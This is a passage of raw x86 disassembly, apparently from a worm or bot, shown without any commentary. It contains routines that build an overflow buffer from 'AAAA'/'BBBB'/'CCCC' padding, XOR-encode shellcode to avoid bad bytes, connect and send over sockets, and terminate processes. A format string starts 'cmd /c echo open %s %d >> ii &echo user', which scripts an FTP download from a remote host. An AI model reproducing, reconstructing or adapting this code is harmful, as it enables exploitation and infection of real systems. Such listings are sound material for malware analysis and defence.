XREF: sub_4014FBj arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov edx, [esp+arg_0] push eax push edx call sub_4012C6 retn 8 sub_424760 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_424790 proc near ; CODE XREF: sub_4017CBj var_8 = dword ptr -8 var_4 = dword ptr -4 sub esp, 8 push esi mov esi, ecx call sub_4010A0 test al, al jnz short loc_4247A4 pop esi add esp, 8 retn ; --------------------------------------------------------------------------- loc_4247A4: ; CODE XREF: sub_424790+Dj mov eax, [esi+4] mov ecx, [esi] push eax push ecx push 1 push offset dword_444BA4 lea ecx, [esp+1Ch+var_8] call sub_4021D5 mov ecx, esi call sub_4016B8 mov edx, [esp+0Ch+var_8] mov eax, [esp+0Ch+var_4] mov [esi], edx mov [esi+4], eax mov al, 1 pop esi add esp, 8 retn sub_424790 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_424800 proc near ; CODE XREF: sub_401EABj arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] push esi mov esi, ecx push eax mov ecx, [esp+8+arg_0] push ecx mov ecx, esi call sub_4014FB test al, al jnz short loc_42481C pop esi retn 8 ; --------------------------------------------------------------------------- loc_42481C: ; CODE XREF: sub_424800+16j mov ecx, esi call sub_4017CB pop esi retn 8 sub_424800 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_424840 proc near ; CODE XREF: sub_401BEAj var_858 = dword ptr -858h var_854 = dword ptr -854h var_850 = dword ptr -850h var_84C = dword ptr -84Ch var_848 = dword ptr -848h var_844 = dword ptr -844h var_840 = dword ptr -840h var_83C = dword ptr -83Ch var_838 = dword ptr -838h var_834 = dword ptr -834h var_830 = dword ptr -830h var_82C = dword ptr -82Ch var_828 = dword ptr -828h var_824 = dword ptr -824h var_820 = dword ptr -820h var_81C = dword ptr -81Ch var_818 = dword ptr -818h var_814 = dword ptr -814h var_810 = dword ptr -810h var_80C = dword ptr -80Ch var_808 = dword ptr -808h var_804 = dword ptr -804h var_800 = byte ptr -800h arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h arg_10 = dword ptr 14h sub esp, 858h lea ecx, [esp+858h+var_818] push ebx push esi call sub_4012A8 mov esi, [esp+860h+arg_8] cmp esi, 408h jg loc_424C15 mov ebx, [esp+860h+arg_10] lea eax, [ebx+8] cmp eax, 408h ja loc_424C15 push edi lea ecx, [esp+864h+var_830] call sub_4012A8 lea ecx, [esp+864h+var_840] call sub_4012A8 lea ecx, [esp+864h+var_810] call sub_4012A8 lea ecx, [esp+864h+var_848] call sub_4012A8 lea ecx, [esp+864h+var_820] call sub_4012A8 lea ecx, [esp+864h+var_828] call sub_4012A8 lea ecx, [esp+864h+var_838] call sub_4012A8 push 4 push offset dword_444840 lea ecx, [esp+86Ch+var_830] call sub_4012C6 push 3 push offset dword_444848 lea ecx, [esp+86Ch+var_830] call sub_4012C6 lea ecx, [esp+864h+var_830] call sub_401B68 lea ecx, [esp+864h+var_830] call sub_4017CB mov ecx, 200h mov eax, 42424242h lea edi, [esp+864h+var_800] push 8 rep stosd push offset aRbrbrbrb ; "BBBB" lea ecx, [esp+86Ch+var_840] call sub_4012C6 mov ecx, [esp+864h+arg_C] push ebx push ecx lea ecx, [esp+86Ch+var_840] call sub_4012C6 mov ebx, [esp+864h+var_83C] mov edx, 409h sub edx, ebx lea eax, [esp+864h+var_800] push edx push eax lea ecx, [esp+86Ch+var_840] call sub_4012C6 lea ecx, [esp+864h+var_840] call sub_401B68 push offset loc_444BC8 lea ecx, [esp+868h+var_810] call sub_402036 lea ecx, [esp+864h+var_810] call sub_401B68 mov ecx, 200h mov eax, 44444444h lea edi, [esp+864h+var_800] push 410h rep stosd lea ecx, [esp+868h+var_800] push ecx lea ecx, [esp+86Ch+var_808] call sub_401834 lea ecx, [esp+864h+var_808] call sub_401B68 mov edx, [esp+864h+var_804] mov eax, [esp+864h+var_808] push edx push eax lea ecx, [esp+86Ch+var_810] call sub_401EAB lea ecx, [esp+864h+var_808] call sub_4016B8 mov ecx, 200h mov eax, 43434343h lea edi, [esp+864h+var_800] push offset aCccc ; "CCCC" rep stosd lea ecx, [esp+868h+var_848] call sub_402036 push 4 push offset dword_44484C lea ecx, [esp+86Ch+var_848] call sub_4012C6 mov ecx, [esp+864h+arg_4] push esi push ecx lea ecx, [esp+86Ch+var_848] call sub_4012C6 mov edx, 408h lea eax, [esp+864h+var_800] sub edx, esi lea ecx, [esp+864h+var_848] push edx push eax call sub_4012C6 lea ecx, [esp+864h+var_848] call sub_401B68 mov ecx, [esp+864h+var_844] mov edx, [esp+864h+var_848] push ecx push edx lea ecx, [esp+86Ch+var_820] call sub_4014FB mov eax, [esp+864h+var_80C] mov ecx, [esp+864h+var_810] push eax push ecx lea ecx, [esp+86Ch+var_820] call sub_4014FB lea ecx, [esp+864h+var_820] call sub_4017CB lea ecx, [esp+864h+var_848] call sub_4016B8 lea ecx, [esp+864h+var_810] call sub_4016B8 mov edx, [esp+864h+var_83C] mov eax, [esp+864h+var_840] push edx push eax lea ecx, [esp+86Ch+var_828] call sub_4014FB mov ecx, [esp+864h+var_82C] mov edx, [esp+864h+var_830] push ecx push edx lea ecx, [esp+86Ch+var_828] call sub_4014FB mov eax, [esp+864h+var_81C] mov ecx, [esp+864h+var_820] push eax push ecx lea ecx, [esp+86Ch+var_828] call sub_4014FB lea ecx, [esp+864h+var_828] call sub_4017CB lea ecx, [esp+864h+var_840] call sub_4016B8 lea ecx, [esp+864h+var_830] call sub_4016B8 lea ecx, [esp+864h+var_820] call sub_4016B8 mov ecx, 200h mov eax, 41414141h lea edi, [esp+864h+var_800] lea edx, [esp+864h+var_800] rep stosd push 400h push edx lea ecx, [esp+86Ch+var_838] call sub_4012C6 lea ecx, [esp+864h+var_838] call sub_401B68 push 2 push offset dword_444BBC lea ecx, [esp+86Ch+var_838] call sub_4012C6 mov eax, [esp+864h+var_824] mov ecx, [esp+864h+var_828] push eax push ecx lea ecx, [esp+86Ch+var_838] call sub_4014FB lea ecx, [esp+864h+var_838] call sub_4017CB lea ecx, [esp+864h+var_828] call sub_4016B8 lea ecx, [esp+864h+var_850] call sub_4012A8 lea ecx, [esp+864h+var_858] call sub_4012A8 mov edx, [esp+864h+var_834] mov eax, [esp+864h+var_838] push edx push eax lea ecx, [esp+86Ch+var_850] call sub_4014FB lea ecx, [esp+864h+var_850] call sub_4010A0 lea ecx, [esp+864h+var_838] call sub_4016B8 push offset dword_444BB8 lea ecx, [esp+868h+var_858] call sub_402036 mov ecx, [esp+864h+var_84C] mov edx, [esp+864h+var_850] push ecx push edx lea ecx, [esp+86Ch+var_858] call sub_4014FB lea ecx, [esp+864h+var_858] call sub_4010A0 lea ecx, [esp+864h+var_850] call sub_4016B8 push offset dword_443E90 lea ecx, [esp+868h+var_850] call sub_402036 mov eax, [esp+864h+var_854] mov ecx, [esp+864h+var_858] push eax push ecx lea ecx, [esp+86Ch+var_850] call sub_4014FB lea ecx, [esp+864h+var_850] call sub_4010A0 lea ecx, [esp+864h+var_858] call sub_4016B8 push offset dword_444BAC lea ecx, [esp+868h+var_858] call sub_402036 mov edx, [esp+864h+var_84C] mov eax, [esp+864h+var_850] push edx push eax lea ecx, [esp+86Ch+var_858] call sub_4014FB lea ecx, [esp+864h+var_858] call sub_4010A0 lea ecx, [esp+864h+var_850] call sub_4016B8 push offset dword_444BA8 lea ecx, [esp+868h+var_818] call sub_402036 mov ecx, [esp+864h+var_854] mov edx, [esp+864h+var_858] push ecx push edx lea ecx, [esp+86Ch+var_818] call sub_4014FB lea ecx, [esp+864h+var_858] call sub_4016B8 mov eax, [esp+864h+arg_0] mov ecx, [esp+864h+var_818] mov edx, [esp+864h+var_814] pop edi mov [eax], ecx pop esi mov [eax+4], edx pop ebx add esp, 858h retn ; --------------------------------------------------------------------------- loc_424C15: ; CODE XREF: sub_424840+1Ej ; sub_424840+33j mov eax, [esp+860h+arg_0] mov ecx, [esp+860h+var_818] mov edx, [esp+860h+var_814] pop esi mov [eax], ecx mov [eax+4], edx pop ebx add esp, 858h retn sub_424840 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 100h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_424D40 proc near ; CODE XREF: sub_401AB4j var_210 = dword ptr -210h var_20C = dword ptr -20Ch var_208 = dword ptr -208h var_204 = dword ptr -204h var_104 = dword ptr -104h var_100 = dword ptr -100h arg_0 = dword ptr 4 sub esp, 210h push esi mov esi, [esp+214h+arg_0] lea eax, [esp+214h+var_210] lea ecx, [esp+214h+var_104] push eax push ecx lea edx, [esp+21Ch+var_208] push 0 lea eax, [esi+1] push edx push eax mov [esp+228h+var_204], esi mov [esp+228h+var_208], 1 mov [esp+228h+var_100], esi mov [esp+228h+var_104], 1 mov [esp+228h+var_210], 0Ah mov [esp+228h+var_20C], 0 nop call near ptr 71AB2DC0h cmp eax, 1 jz short loc_424DA9 xor eax, eax pop esi add esp, 210h retn ; --------------------------------------------------------------------------- loc_424DA9: ; CODE XREF: sub_424D40+5Dj lea ecx, [esp+214h+var_208] push ecx push esi call sub_436F60 sub_424D40 endp ; --------------------------------------------------------------------------- test eax, eax jnz short loc_424DC0 pop esi add esp, 210h retn ; --------------------------------------------------------------------------- loc_424DC0: ; CODE XREF: ___:00424DB6j mov edx, [esp+224h] mov eax, [esp+220h] mov ecx, [esp+21Ch] push edx push eax push ecx push esi nop call near ptr 71AB615Ah pop esi add esp, 210h retn ; --------------------------------------------------------------------------- db 9 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_424E20 proc near ; CODE XREF: sub_4012F3j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebx push esi mov esi, [esp+8+arg_8] push edi push esi call near ptr 71AB2BC0h nop mov edi, [esp+0Ch+arg_0] mov ebx, dword_50FC8C mov [esp+0Ch+arg_8], eax push 0 lea eax, [esp+10h+arg_8] push 4 push eax push edi call ebx ; send cmp eax, 4 jz short loc_424E53 pop edi pop esi xor al, al pop ebx retn ; --------------------------------------------------------------------------- loc_424E53: ; CODE XREF: sub_424E20+2Bj mov ecx, [esp+0Ch+arg_4] push 0 push esi push ecx push edi call ebx ; send xor edx, edx cmp eax, esi setz dl pop edi pop esi mov al, dl pop ebx retn sub_424E20 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_424E90 proc near ; CODE XREF: sub_4012F8j var_104 = dword ptr -104h var_100 = byte ptr -100h arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch sub esp, 104h push ebx push ebp mov ebp, [esp+10Ch+arg_8] push esi lea esi, [ebp+41h] push esi mov [esp+114h+var_104], esi call near ptr 77C2C407h nop mov ebx, eax add esp, 4 test ebx, ebx jnz short loc_424EC3 pop esi pop ebp xor al, al pop ebx add esp, 104h retn ; --------------------------------------------------------------------------- loc_424EC3: ; CODE XREF: sub_424E90+25j mov ecx, esi push edi mov edx, ecx xor eax, eax mov edi, ebx mov esi, offset dword_4448DC shr ecx, 2 rep stosd mov ecx, edx push 85h and ecx, 3 push offset dword_444854 rep stosb mov ecx, 0Bh mov edi, ebx rep movsd movsw movsb mov [ebx+2Fh], bp mov eax, dword_44490C mov [ebx+31h], eax mov ecx, dword_444910 mov esi, [esp+11Ch+arg_4] mov [ebx+35h], ecx mov ecx, ebp lea eax, [ebx+3Bh] mov edx, ecx mov edi, eax shr ecx, 2 mov [ebx+39h], bp add eax, ebp rep movsd mov ecx, edx and ecx, 3 rep movsb mov ecx, dword_50E140 mov esi, [esp+11Ch+arg_0] mov [eax], ecx mov dx, word_50E144 push esi mov [eax+4], dx call sub_4012F3 add esp, 0Ch test al, al pop edi jnz short loc_424F68 push ebx nop call near ptr 77C2C21Bh add esp, 4 xor al, al pop esi pop ebp pop ebx add esp, 104h retn ; --------------------------------------------------------------------------- loc_424F68: ; CODE XREF: sub_424E90+C0j push 0 lea eax, [esp+114h+var_100] push 100h push eax push esi call sub_401AB4 mov ecx, [esp+120h+var_104] push ecx push ebx push esi call sub_4012F3 add esp, 1Ch test al, al jnz short loc_424FA3 push ebx nop call near ptr 77C2C21Bh add esp, 4 xor al, al pop esi pop ebp pop ebx add esp, 104h retn ; --------------------------------------------------------------------------- loc_424FA3: ; CODE XREF: sub_424E90+FBj push 0 lea edx, [esp+114h+var_100] push 100h push edx push esi call sub_401AB4 push ebx nop call near ptr 77C2C21Bh add esp, 14h mov al, 1 pop esi pop ebp pop ebx add esp, 104h retn sub_424E90 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_425020 proc near ; CODE XREF: sub_401811j var_41C = dword ptr -41Ch var_418 = dword ptr -418h var_414 = dword ptr -414h var_410 = word ptr -410h var_40E = word ptr -40Eh var_40A = dword ptr -40Ah var_406 = dword ptr -406h var_402 = word ptr -402h var_400 = byte ptr -400h var_3FF = byte ptr -3FFh var_371 = byte ptr -371h arg_0 = dword ptr 4 arg_4 = byte ptr 8 arg_9E = dword ptr 0A2h sub esp, 41Ch mov ecx, 0FFh xor eax, eax push ebp push esi push edi lea edi, [esp+428h+var_3FF] rep stosd stosw stosb mov ecx, 23h mov esi, offset sub_444A80 lea edi, [esp+428h+var_400] rep movsd movsw mov ecx, offset byte_447551 movsb call sub_4017E4 push eax mov ecx, offset byte_447551 call sub_4017E4 mov ecx, [esp+42Ch+arg_0] push eax mov eax, dword_44768F push eax push ecx call sub_401DF7 add esp, 4 lea edx, [esp+434h+var_371] push eax push offset aCmdCEchoOpenSD ; "cmd /c echo open %s %d >> ii &echo user"... push 400h push edx nop call near ptr 77C3FA76h add eax, 90h lea ecx, [esp+444h+var_418] push eax lea eax, [esp+448h+var_400] push eax push 164h push offset sub_444918 push ecx call sub_401BEA mov eax, [esp+458h+var_414] xor edi, edi add esp, 30h cmp eax, edi jnz short loc_4250C9 xor eax, eax pop edi pop esi pop ebp add esp, 41Ch retn ; --------------------------------------------------------------------------- loc_4250C9: ; CODE XREF: sub_425020+9Bj mov ebp, dword_50FC2C mov [esp+428h+var_41C], edi loc_4250D3: ; CODE XREF: sub_425020+158j test edi, edi jnz loc_42517E push 6 push 1 push 2 call near ptr 71AB3B91h nop mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_425161 mov eax, [esp+428h+arg_9E] xor edx, edx mov dword ptr [esp+428h+var_40E], edx push eax mov [esp+42Ch+var_40A], edx mov [esp+42Ch+var_410], 2 mov [esp+42Ch+var_406], edx mov [esp+42Ch+var_402], dx call ebp ; ntohs lea ecx, [esp+428h+arg_4] mov [esp+428h+var_40E], ax push ecx nop call near ptr 71AB2BF4h lea edx, [esp+428h+var_410] push 10h push edx push esi mov [esp+28h], eax call near ptr 71AB406Ah nop cmp eax, 0FFFFFFFFh jz short loc_425156 mov eax, [esp+428h+var_414] mov ecx, [esp+428h+var_418] push eax push ecx push esi call sub_4012F8 add esp, 0Ch and eax, 0FFh mov edi, eax loc_425156: ; CODE XREF: sub_425020+11Aj push esi nop call near ptr 71AB9639h test edi, edi jnz short loc_42516C loc_425161: ; CODE XREF: sub_425020+CCj push 3E8h call near ptr 2811D0Bh nop loc_42516C: ; CODE XREF: sub_425020+13Fj mov eax, [esp+428h+var_41C] inc eax cmp eax, 2 mov [esp+428h+var_41C], eax jl loc_4250D3 loc_42517E: ; CODE XREF: sub_425020+B5j lea ecx, [esp+428h+var_418] call sub_4016B8 test edi, edi jz short loc_4251AE sub esp, 0BCh mov ecx, 2Eh lea esi, [esp+4E4h+arg_0] mov edi, esp rep movsd movsw call sub_40114F add esp, 0BCh loc_4251AE: ; CODE XREF: sub_425020+169j pop edi pop esi mov eax, 1 pop ebp add esp, 41Ch retn sub_425020 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 70h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_425230 proc near ; CODE XREF: sub_4013C5j arg_0 = dword ptr 4 arg_4 = dword ptr 8 push edi mov edi, [esp+4+arg_4] or ecx, 0FFFFFFFFh xor eax, eax repne scasb mov edi, [esp+4+arg_0] not ecx dec ecx mov edx, ecx or ecx, 0FFFFFFFFh repne scasb not ecx dec ecx pop edi lea eax, [ecx+edx*2+0C1h] retn sub_425230 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_425270 proc near ; CODE XREF: sub_40178Aj arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx mov ebx, [esp+4+arg_8] push esi mov esi, [esp+8+arg_C] push esi push ebx call sub_4013C5 mov ecx, [esp+10h+arg_4] add esp, 8 cmp eax, ecx mov [esp+8+arg_8], eax jbe short loc_425295 pop esi xor eax, eax pop ebx retn ; --------------------------------------------------------------------------- loc_425295: ; CODE XREF: sub_425270+1Ej push ebp push edi or ecx, 0FFFFFFFFh mov edi, ebx xor eax, eax mov ebp, [esp+10h+arg_0] repne scasb not ecx dec ecx mov edi, esi mov edx, ecx or ecx, 0FFFFFFFFh repne scasb not ecx dec ecx mov esi, offset dword_444CA8 mov eax, ecx mov edi, ebp lea ecx, [eax+edx+12h] mov dword_444D0C, ecx lea ecx, [eax+1] mov dword_444D2D, ecx lea ecx, [eax+17h] mov dword_444D25, ecx mov ecx, 0FFFFFFEDh sub ecx, eax mov dword_444D3B, ecx mov ecx, 1Dh rep movsd mov ecx, edx mov esi, ebx mov ebx, ecx lea edi, [ebp+74h] shr ecx, 2 rep movsd mov ecx, ebx add edx, 74h and ecx, 3 rep movsb mov esi, dword_444D1C lea ecx, [edx+ebp] add edx, 5 mov [ecx], esi mov bl, byte_444D20 mov esi, [esp+10h+arg_C] lea edi, [edx+ebp] mov [ecx+4], bl mov ecx, eax mov ebx, ecx add edx, eax shr ecx, 2 rep movsd mov ecx, ebx and ecx, 3 rep movsb mov esi, dword_444D21 lea ecx, [edx+ebp] add edx, 10h mov [ecx], esi mov esi, dword_444D25 lea edi, [edx+ebp] mov [ecx+4], esi mov esi, dword_444D29 mov [ecx+8], esi mov esi, dword_444D2D mov [ecx+0Ch], esi mov esi, [esp+10h+arg_C] mov ecx, eax shr ecx, 2 rep movsd mov ecx, ebx and ecx, 3 rep movsb lea edi, [edx+eax] mov eax, [esp+10h+arg_8] add edi, ebp mov ecx, 0Eh mov esi, offset byte_444D31 rep movsd pop edi pop ebp pop esi pop ebx retn sub_425270 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4253E0 proc near ; CODE XREF: sub_402162j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov ecx, [esp+arg_0] push eax push ecx call sub_4013C5 push eax call sub_4017BC add esp, 0Ch retn sub_4253E0 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_425410: ; CODE XREF: ___:00401735j push ebx mov ebx, [esp+10h] push ebp push edi mov edi, [esp+1Ch] push edi push ebx call sub_402162 mov ebp, [esp+1Ch] add esp, 8 cmp eax, ebp jbe short loc_425433 pop edi pop ebp xor eax, eax pop ebx retn ; --------------------------------------------------------------------------- loc_425433: ; CODE XREF: ___:0042542Bj cmp eax, 0FFFFh jbe short loc_425440 pop edi pop ebp xor eax, eax pop ebx retn ; --------------------------------------------------------------------------- loc_425440: ; CODE XREF: ___:00425438j push esi push edi push ebx call sub_4013C5 add eax, 101h push eax nop call near ptr 77C2C407h add esp, 0Ch mov esi, eax push edi push ebx push edi push ebx call sub_4013C5 add esp, 8 push eax push esi call sub_40178A push eax mov eax, [esp+28h] push esi push ebp push eax call sub_401B77 push esi mov edi, eax call near ptr 77C2C21Bh nop add esp, 24h mov eax, edi pop esi pop edi pop ebp pop ebx retn ; --------------------------------------------------------------------------- db 4 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4254B0 proc near ; CODE XREF: sub_4017BCj arg_0 = dword ptr 4 mov ecx, [esp+arg_0] test cl, cl jnz short loc_4254B9 inc ecx loc_4254B9: ; CODE XREF: sub_4254B0+6j mov eax, 0FFh cmp eax, ecx sbb eax, eax and eax, 2 add eax, 15h add eax, ecx retn sub_4254B0 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4254E0 proc near ; CODE XREF: sub_401B77j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx mov ebx, [esp+4+arg_C] cmp bl, 0Ah jz short loc_4254F8 cmp bl, 0Dh jz short loc_4254F8 cmp bl, 5Ch jz short loc_4254F8 test bl, bl jnz short loc_4254F9 loc_4254F8: ; CODE XREF: sub_4254E0+8j ; sub_4254E0+Dj ... inc ebx loc_4254F9: ; CODE XREF: sub_4254E0+16j cmp ebx, 0FFh jbe short loc_42551C mov eax, ebx shr eax, 8 cmp al, 0Ah jz short loc_425516 cmp al, 0Dh jz short loc_425516 cmp al, 5Ch jz short loc_425516 test al, al jnz short loc_42551C loc_425516: ; CODE XREF: sub_4254E0+28j ; sub_4254E0+2Cj ... add ebx, 100h loc_42551C: ; CODE XREF: sub_4254E0+1Fj ; sub_4254E0+34j push ebx call sub_4017BC mov ecx, [esp+8+arg_4] add esp, 4 cmp eax, ecx mov [esp+4+arg_C], eax jbe short loc_425535 xor eax, eax pop ebx retn ; --------------------------------------------------------------------------- loc_425535: ; CODE XREF: sub_4254E0+4Fj cmp eax, 0FFFFh jbe short loc_425540 xor eax, eax pop ebx retn ; --------------------------------------------------------------------------- loc_425540: ; CODE XREF: sub_4254E0+5Aj mov al, byte_50E148 xor edx, edx push ebp mov ebp, [esp+8+arg_8] test ebx, ebx push esi jbe short loc_425570 loc_425551: ; CODE XREF: sub_4254E0+8Ej mov cl, [edx+ebp] xor cl, al jz short loc_425567 cmp cl, 0Ah jz short loc_425567 cmp cl, 0Dh jz short loc_425567 cmp cl, 5Ch jnz short loc_42556B loc_425567: ; CODE XREF: sub_4254E0+76j ; sub_4254E0+7Bj ... inc al xor edx, edx loc_42556B: ; CODE XREF: sub_4254E0+85j inc edx cmp edx, ebx jb short loc_425551 loc_425570: ; CODE XREF: sub_4254E0+6Fj cmp ebx, 0FFh push edi mov byte_50E148, al ja short loc_4255A3 mov edx, [esp+10h+arg_0] mov ecx, 5 mov esi, offset loc_444C90 mov edi, edx mov byte_444C9D, bl mov byte_444CA1, al rep movsd movsb mov esi, 15h jmp short loc_4255C9 ; --------------------------------------------------------------------------- loc_4255A3: ; CODE XREF: sub_4254E0+9Cj mov edx, [esp+10h+arg_0] mov ecx, 5 mov esi, offset loc_444C78 mov edi, edx mov word_444C86, bx mov byte_444C8B, al rep movsd movsw movsb mov esi, 17h loc_4255C9: ; CODE XREF: sub_4254E0+C1j xor ecx, ecx pop edi test ebx, ebx jbe short loc_4255DF add esi, edx loc_4255D2: ; CODE XREF: sub_4254E0+FDj mov dl, [ecx+ebp] xor dl, al mov [esi+ecx], dl inc ecx cmp ecx, ebx jb short loc_4255D2 loc_4255DF: ; CODE XREF: sub_4254E0+EEj mov eax, [esp+0Ch+arg_C] pop esi pop ebp pop ebx retn sub_4254E0 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_425640 proc near ; CODE XREF: sub_401E24j arg_0 = dword ptr 4 mov ecx, [esp+arg_0] lea eax, [ecx+ecx*2] shl eax, 4 sub eax, ecx xor ecx, ecx lea eax, [eax+eax*2] mov dword_4491DF[eax*4], ecx mov dword_4491CB[eax*4], ecx mov dword_4491CF[eax*4], ecx mov dword_4491D3[eax*4], ecx mov dword_4491D7[eax*4], ecx mov dword_4491DB[eax*4], ecx mov byte_448FCB[eax*4], cl mov byte_4491E3[eax*4], cl retn sub_425640 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4256B0 proc near ; CODE XREF: sub_401370j arg_0 = dword ptr 4 mov ecx, [esp+arg_0] push ebx push ebp xor ebx, ebx xor ebp, ebp cmp ecx, ebx jle loc_425767 cmp ecx, 400h jge loc_425767 lea eax, [ecx+ecx*2] push esi shl eax, 4 sub eax, ecx push edi push ebx lea esi, [eax+eax*2] mov eax, dword_4491DF[esi*4] push eax call near ptr 27507D7h nop cmp dword_4491DF[esi*4], ebx jz short loc_4256F8 mov ebp, 1 loc_4256F8: ; CODE XREF: sub_4256B0+41j mov dword_4491DF[esi*4], ebx mov dword_4491CB[esi*4], ebx mov dword_4491CF[esi*4], ebx mov eax, dword_4491D3[esi*4] cmp eax, ebx jbe short loc_425721 push eax call sub_401C6C add esp, 4 loc_425721: ; CODE XREF: sub_4256B0+66j mov edi, dword_50FC88 mov dword_4491D3[esi*4], ebx mov byte_448FCB[esi*4], bl mov byte_4491E3[esi*4], bl mov ecx, dword_4491D7[esi*4] push ecx call edi ; closesocket mov dword_4491D7[esi*4], ebx mov edx, dword_4491DB[esi*4] lea esi, ds:4491DBh[esi*4] push edx call edi ; closesocket mov [esi], ebx pop edi mov eax, ebp pop esi pop ebp pop ebx retn ; --------------------------------------------------------------------------- loc_425767: ; CODE XREF: sub_4256B0+Cj ; sub_4256B0+18j mov eax, ebp pop ebp pop ebx retn sub_4256B0 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4257A0 proc near ; CODE XREF: sub_401D93j arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx mov ebx, [esp+4+arg_4] push ebp push esi push edi xor ebp, ebp xor edi, edi mov esi, offset dword_4491CF loc_4257B1: ; CODE XREF: sub_4257A0+52j mov eax, [esp+10h+arg_0] mov ecx, [esi-4] cmp ecx, eax jnz short loc_4257E5 test ebx, ebx jle short loc_4257D7 cmp [esi], ebx jz short loc_4257C8 cmp edi, ebx jnz short loc_4257E5 loc_4257C8: ; CODE XREF: sub_4257A0+22j push edi call sub_401370 add esp, 4 test eax, eax jz short loc_4257E5 jmp short loc_4257E4 ; --------------------------------------------------------------------------- loc_4257D7: ; CODE XREF: sub_4257A0+1Ej push edi call sub_401370 add esp, 4 test eax, eax jz short loc_4257E5 loc_4257E4: ; CODE XREF: sub_4257A0+35j inc ebp loc_4257E5: ; CODE XREF: sub_4257A0+1Aj ; sub_4257A0+26j ... add esi, 234h inc edi cmp esi, offset byte_4D61CF jl short loc_4257B1 pop edi mov eax, ebp pop esi pop ebp pop ebx retn sub_4257A0 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_425820 proc near ; CODE XREF: sub_401C6Cj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi push edi push eax push 0 push 1F0FFFh mov edi, 1 call near ptr 2770000h nop mov esi, eax test esi, esi jz short loc_425855 push 0 push esi nop call near ptr 26F0000h test eax, eax jnz short loc_425855 push esi xor edi, edi nop call near ptr 282071Eh loc_425855: ; CODE XREF: sub_425820+1Dj ; sub_425820+2Aj mov eax, edi pop edi pop esi retn sub_425820 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_425870 proc near ; CODE XREF: sub_401483j arg_0 = dword ptr 4 mov edx, [esp+arg_0] xor eax, eax mov ecx, offset dword_4491CB loc_42587B: ; CODE XREF: sub_425870+1Cj cmp [ecx], edx jnz short loc_425880 inc eax loc_425880: ; CODE XREF: sub_425870+Dj add ecx, 234h cmp ecx, offset byte_4D61CB jl short loc_42587B retn sub_425870 endp ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4258A0 proc near ; CODE XREF: sub_401D8Ej arg_0 = dword ptr 4 mov edx, [esp+arg_0] push esi xor esi, esi xor eax, eax mov ecx, offset dword_4491CB loc_4258AE: ; CODE XREF: sub_4258A0+1Fj cmp [ecx], edx jz short loc_4258C3 add ecx, 234h inc eax cmp ecx, offset byte_4D61CB jl short loc_4258AE mov eax, esi loc_4258C3: ; CODE XREF: sub_4258A0+10j pop esi retn sub_4258A0 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4258E0 proc near ; CODE XREF: sub_401BD6j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push edi xor edi, edi mov eax, offset byte_448FCB loc_4258E8: ; CODE XREF: sub_4258E0+18j cmp byte ptr [eax], 0 jz short loc_4258FE add eax, 234h inc edi cmp eax, offset dword_4D5FCB jl short loc_4258E8 mov eax, edi pop edi retn ; --------------------------------------------------------------------------- loc_4258FE: ; CODE XREF: sub_4258E0+Bj lea eax, [edi+edi*2] push esi shl eax, 4 sub eax, edi push 1FFh lea eax, [eax+eax*2] lea esi, ds:448FCBh[eax*4] mov eax, [esp+0Ch+arg_0] push eax push esi nop call near ptr 77C47A90h mov ecx, [esp+14h+arg_4] mov edx, [esp+14h+arg_8] mov [esi+200h], ecx mov dword ptr [esi+204h], 0 add esp, 0Ch mov dword ptr [esi+208h], 0 mov [esi+20Ch], edx mov byte ptr [esi+218h], 0 mov eax, 